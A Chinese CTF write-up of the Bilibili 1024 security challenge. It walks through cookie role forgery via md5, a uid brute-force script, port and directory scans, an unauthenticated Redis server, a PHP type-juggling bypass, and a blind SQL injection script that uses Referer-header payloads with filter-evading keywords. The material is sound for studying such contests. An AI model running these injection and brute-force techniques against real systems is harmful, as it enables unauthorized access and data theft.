B站安全挑战赛解答过程记录
由于每个人获得的 flag
似乎是不同的,因此文中的所有 flag
都替换成了 [REDACTED]
。同时文中涉及的 Cookie 和日期也都会替换为 [REDACTED]
。
第一题:页面的背后是什么?
这道题很简单,审查元素里可以直接找到:
<input id="flag1" type="hidden" values="flag1" value="[REDACTED]">
第二题:真正的秘密只有特殊的设备才能看到
第二题同样很简单。根据页面提示:
需要使用bilibili Security Browser浏览器访问~
很容易想到需要修改 User-Agent
。有两种办法。
第一种方法。可以直接在 Chrome 的 DevTools 中,找到 Network conditions 选项卡,然后取消勾选 User agent 一栏的 Select automatically
,并在下面选择 Custom...
,填入 bilibili Security Browser
。刷新一下即可看到答案。
第二种方法。可以通过各种 HTTP 客户端,如 curl
、wget
、Postman 等向 API 发送请求。我这里选择使用 httpie
,主要是用起来比较方便。首先通过审查元素找到接口:
<script>
$.ajax({
url: "api/ctf/2",
type: "get",
success:function (data) {
//console.log(data);
if (data.code == 200){
// 如果有值:前端跳转
$('#flag2').html("flag2: " + data.data);
} else {
// 如果没值
$('#flag2').html("需要使用bilibili Security Browser浏览器访问~");
}
}
})
</script>
从高亮的这一行,可以看出接口是 http://45.113.201.36/api/ctf/2
。此外也可以通过 DevTools 的 Network 选项卡找到接口,不再赘述。
然后就是发送请求。发送请求时记得带上 Cookie
,否则会提示“请先登录”:
$ http http://45.113.201.36/api/ctf/2 \
"User-Agent: bilibili Security Browser" \
"Cookie: [REDACTED]"
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 67
Content-Type: application/json
Date: [REDACTED]
Server: nginx/1.10.3
Vary: Cookie
{
"code": 200,
"data": "[REDACTED]",
"msg": ""
}
第三题:密码是啥?
说实话这道题我直到最后都没有想出解法。几个我认为可能有用的地方 1:
<meta name="flag3" content="width=device-width, initial-scale=1.0">
<script>
//falg 3
$("#submit").click(function(){
$.ajax({
url: "api/ctf/3",
type: "post",
contentType: "application/json",
dataType:"json",
data: JSON.stringify({
username: $("#name").val(),
passwd: $("#subject").val(),
}),
success:function (data) {
if (data.code == 200){
alert("flag is: " + data.data);
} else {
alert("用户名或密码错误~");
}
}
})
});
</script>
然而各种尝试无果,各种弱密码也试不出来,最后在 这个帖子 里找到了答案,用户名是 admin
,密码是 bilibili
,然而并没有解释是如何得到这个答案的。
第四题:对不起,权限不足~
和第二题一样找到接口,从这一题开始会发现 Cookie 中多了 role
一项,推测和他有关。观察发现 role
一共有 32 位,且都在 [0-9a-f]
的范围内,故推测是 md5 过的信息。页面上提示“超级管理员”,所以可以试试各种和管理员相关的词,比如说 admin
、administrator
、root
等。最后发现是 Administrator
(首字母大写):
$ python -c "from hashlib import md5; print(md5(b'Administrator').hexdigest())"
7b7bc2512ee1fedcd76bdc68926d4f7b
$ http http://45.113.201.36/api/ctf/4 \
"Cookie: session=[REDACTED]; role=7b7bc2512ee1fedcd76bdc68926d4f7b"
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 67
Content-Type: application/json
Date: [REDACTED]
Server: nginx/1.10.3
Vary: Cookie
{
"code": 200,
"data": "[REDACTED]",
"msg": ""
}
第五题:别人的秘密
首先试了几次这题的 API,不管哪个 uid
返回的 code
一直都是 403
。观察了一下页面没发现什么信息,故打算直接暴力破解。
一开始写的脚本用的是 requests
(Python 最常用的 HTTP 库),但是速度感人,又换成了 aiohttp
。跑了很久,服务器还经常不稳定 404,始终没找出正确的 uid
。
后来突然想起在网页里有看到一个 uid
,是 100336889
,猜测答案和这个有关。试了一下这个 uid
,依旧 403
,又把这个作为起始 uid
放进暴力破解的脚本里,没想到一瞬间就试出来了🤦♂️。
虽然有些杀鸡用牛刀的感觉,还是把脚本代码放出来吧😅:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 | """\
Copyright (c) 2020 shniubobo
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
"""
import asyncio
import aiohttp
from retrying import retry
FROM = 100336889
URL = 'http://45.113.201.36/api/ctf/5'
success = asyncio.Event()
@retry(stop_max_attempt_number=10)
async def make_request(uid, session):
async with session.get(URL, params={'uid': uid},
raise_for_status=True) as resp:
resp_json = await resp.json()
if int(resp_json['code']) == 200:
print(f'SUCCESS - {uid}:\n'
f' data = {resp_json["data"]}\n'
f' msg = {resp_json["msg"]}\n')
success.set()
async def main():
cookies = {
'role': '[REDACTED]',
'session': '[REDACTED]',
}
async with aiohttp.ClientSession(cookies=cookies) as s:
uid = FROM
tasks = []
while True:
print(uid)
tasks.append(asyncio.create_task(make_request(uid, s)))
if uid % 100 == 0:
await asyncio.gather(*tasks)
tasks.clear()
if success.is_set():
break
uid += 1
await asyncio.gather(*tasks)
if __name__ == '__main__':
asyncio.run(main())
|
稍微解释一下。第 32 行的 @retry
是为了防止服务器不稳定导致脚本直接退出。make_request
会在成功时调用 success.set
,告知 main
不用再运行下去了。
剩下的题目
第六题的页面始终进不去,也 ping 不通。故障的话不至于持续这么久,看来这或许是正常现象🤔?之后如果我探究出个所以然的话也会补上解答过程。
B 站第二天就换了新的服务器,虽然依旧不怎么稳定,经常 404、503,但至少能进了。由于后面的几题并不是按照 6-10 的顺序解答,而且我也只作出了 2 题,就都写在这一部分里了。
进入第六题的网页后什么都没有,页面上的所有链接指向的页面都是 404,只有一个表单应该有些用。点击发送后会向同一网页发送 POST 请求,表单内的信息对应关系是:
- 名字 ->
name
- 邮箱 ->
email
- 网址 ->
url
- 评论 ->
comment
返回的页面和原先一模一样,猜测填写一定的表单信息,或尝试将文件作为表单信息发送,可能会返回不一样的页面内容。
这一题卡住了,于是决定扫一下目录和端口。
$ nmap -p- 45.113.201.36
Starting Nmap 7.60 ( https://nmap.org ) at [REDACTED]
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 21:08 (0:00:00 remaining)
Nmap scan report for 45.113.201.36
Host is up (0.024s latency).
Not shown: 65529 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp closed https
1194/tcp closed openvpn
6379/tcp open redis
8069/tcp closed unknown
8091/tcp closed jamlink
Nmap done: 1 IP address (1 host up) scanned in 401.56 seconds
$ ./dirsearch.py -E -u http://45.113.201.36/ -r -c "[REDACTED]"
_|. _ _ _ _ _ _|_ v0.4.0
(_||| _) (/_(_|| (_| )
Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 20 | Wordlist size: 10023 | Recursion level: 1
Error Log: [REDACTED]
Target: http://45.113.201.36/
Output File: [REDACTED]
[REDACTED] Starting:
[REDACTED] 301 - 185B - /js -> http://45.113.201.36/js/ (Added to queue)
[REDACTED] 301 - 310B - /blog -> http://45.113.201.36/blog/ (Added to queue)
[REDACTED] 200 - 473B - /common.js
[REDACTED] 301 - 185B - /console -> http://45.113.201.36/console/ (Added to queue)
[REDACTED] 403 - 571B - /console/
[REDACTED] 301 - 185B - /css -> http://45.113.201.36/css/ (Added to queue)
[REDACTED] 200 - 4KB - /favicon.ico
[REDACTED] 200 - 3KB - /index.html
[REDACTED] 200 - 4KB - /login.html
[REDACTED] 200 - 9KB - /start.html
[REDACTED] 200 - 3KB - /user.html
[REDACTED] Starting: js/
[REDACTED] 200 - 473B - /js/common.js
[REDACTED] Starting: blog/
[REDACTED] 301 - 313B - /blog/js -> http://45.113.201.36/blog/js/
[REDACTED] 403 - 298B - /blog/.htaccess.bak1
[REDACTED] 403 - 298B - /blog/.htaccess.orig
[REDACTED] 403 - 300B - /blog/.htaccess.sample
[REDACTED] 403 - 298B - /blog/.htaccess.save
[REDACTED] 403 - 296B - /blog/.htaccessBAK
[REDACTED] 403 - 296B - /blog/.htaccessOLD
[REDACTED] 403 - 289B - /blog/.html
[REDACTED] 403 - 288B - /blog/.htm
[REDACTED] 403 - 297B - /blog/.htaccessOLD2
[REDACTED] 403 - 295B - /blog/.httr-oauth
[REDACTED] 403 - 288B - /blog/.php
[REDACTED] 403 - 289B - /blog/.php3
[REDACTED] 301 - 314B - /blog/css -> http://45.113.201.36/blog/css/
[REDACTED] 200 - 66KB - /blog/test.php
[REDACTED] Starting: console/
[REDACTED] 301 - 185B - /console/css -> http://45.113.201.36/console/css/
[REDACTED] Starting: css/
Task Completed
重要的几行都高亮了出来。
既然有开 redis 的端口,那就试着连一下,发现不需要密码。用 KEYS *
看了一下,里面一堆 flag,每个都试了一下,发现只有第 8 题的是对的,剩下的估计都是别人自己加进去的。又尝试找找 redis 里有没有什么其他线索,但发现这个服务端就是个无情的 OK 机器,除了几个最基本的增删改查的命令外,发什么都回 OK 😂。这样看来 redis 的这个端口只能用来解第 8 题了。
然后可以发现扫目录扫出了个 /blog/test.php
,进去发现全是各种 !+()[]{}
之类的奇怪符号,查了一下才知道是 JsFuck。用 JsUnFuck 解密一下后发现是这样一段代码:
var str1 = "\u7a0b\u5e8f\u5458\u6700\u591a\u7684\u5730\u65b9";
var str2 = "bilibili1024havefun";
console.log()
其中 str1
是 程序员最多的地方
,很容易猜到指 Github。上 Github 搜了一下 bilibili1024havefun
,发现了 interesting-1024/end。一共两个 commit,都是直接在网页上提交的,邮箱也用的是 Github 的 2。只有 https://github.com/interesting-1024/end/tree/main/end.php 这个文件有用:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <?php
//filename end.php
$bilibili = "bilibili1024havefun";
$str = intval($_GET['id']);
$reg = preg_match('/\d/is', $_GET['id']);
if(!is_numeric($_GET['id']) and $reg !== 1 and $str === 1){
$content = file_get_contents($_GET['url']);
//文件路径猜解
if (false){
echo "还差一点点啦~";
}else{
echo $flag;
}
}else{
echo "你想要的不在这儿~";
}
?>
|
第 7 行和第 10 行中的 !is_numeric($_GET['id'])
可以看出,id
不能是数字,但必须能被 intval
转换成 1
,因此 id
可以是一个数组。同时从第 11 行可以看出还需要一个 url
参数,再结合第 13 行,可以看出要猜路径。最讨厌的猜谜时间🤦♂️。猜了各种路径后,发现是任意字符 + flag.txt
,如 xflag.txt
3。最后拼出来的路径是:
http://45.113.201.36/blog/end.php?id[]=1&url=xflag.txt
得到一张图片。图片上没什么信息,用 hexdump
可以发现文件最后有 flag10:
$ hd bilibili_224a634752448def6c0ec064e49fe797_havefun.jpg
[TRUNCATED]
00008f90 8a 28 00 a2 8a 28 03 ff d9 7b 7b 66 6c 61 67 31 |.(...(...{{flag1|
00008fa0 30 3a 32 65 62 64 33 62 30 38 2d 34 37 66 66 63 |0:2ebd3b08-47ffc|
00008fb0 34 37 38 2d 62 34 39 61 35 66 39 64 2d 66 36 30 |478-b49a5f9d-f60|
00008fc0 39 39 64 36 35 7d 7d |99d65}}|
00008fc7
同时图片文件名的中间那段应该也是 md5,但并不是图片的 md5,也找不出是什么的 md5,尝试用 hashcat
暴力破解,8 位之内并没有破解出来。
再回到之前的 dirsearch
的结果。可以看出有一个 console
路径和各种配置文件会返回 403。经手动测试发现只有以某些字母开头的配置文件会返回 403,如 /blog/.htaccess1
就返回的是 403,而 /blog/.bashrc
返回的则是 404。
到这里就没有其他的发现了,也不知道如何继续解下去。还有一堆作业要做,就不继续想下去了🤦♂️。
本来打算写到这里为止,但我在之前的 那个代码库里的一个 issue 中 找到了第 6 题的答案;虽然不是自己做的,但也在这里写一下。
第六题通过 Referer 注入,可以改变页面上显示的内容。通过二分查找确定页面最早开始变化的数字,然后把每一位的数字转换成对应的 Unicode 字符,就能得到第六题的 flag。
Issue 中有提供脚本,但代码风格感人,同时 Python 3 运行会报错,这里再提供一个我修改过的版本:
import requests
URL = 'http://45.113.201.36/blog/single.php?id=1'
def main():
flag = []
for i in range(1, 50):
left, right = 33, 128
while right - left != 1:
mid = (left + right) // 2
payload = (f"0123'^if(substr((selselectect flag from flag),{i},1)>"
f"binary {hex(mid)},(selecselectt 1+~0),0) "
f"ununionion selecselectt 1,2#")
headers = {'Referer': payload}
r = requests.get(URL, headers=headers)
if len(r.text) == 5596:
left = mid
else:
right = mid
print(right, end=' ', flush=True)
flag.append(chr(right))
print()
print(''.join(flag))
if __name__ == '__main__':
main()
运行输出如下:
97 50 98 48 56 56 51 99 45 102 102 98 98 56 100 49 55 45 57 97 51 98 98 102 49 99 45 101 100 54 48 48 99 56 48 34 34 34 34 34 34 34 34 34 34 34 34 34 34 a2b0883c-ffbb8d17-9a3bbf1c-ed600c80"""""""""""""""""""""""""""""""""
其中 a2b0883c-ffbb8d17-9a3bbf1c-ed600c80
就是第六题的答案。
- 1.
- ^ 其中第一处的
<meta>
标签我后来发现每一题的页面中都存在🤣。 - 2.
- ^
interesting-1024 <[email protected]>
- 3.
- ^ 不能用
flag.txt
。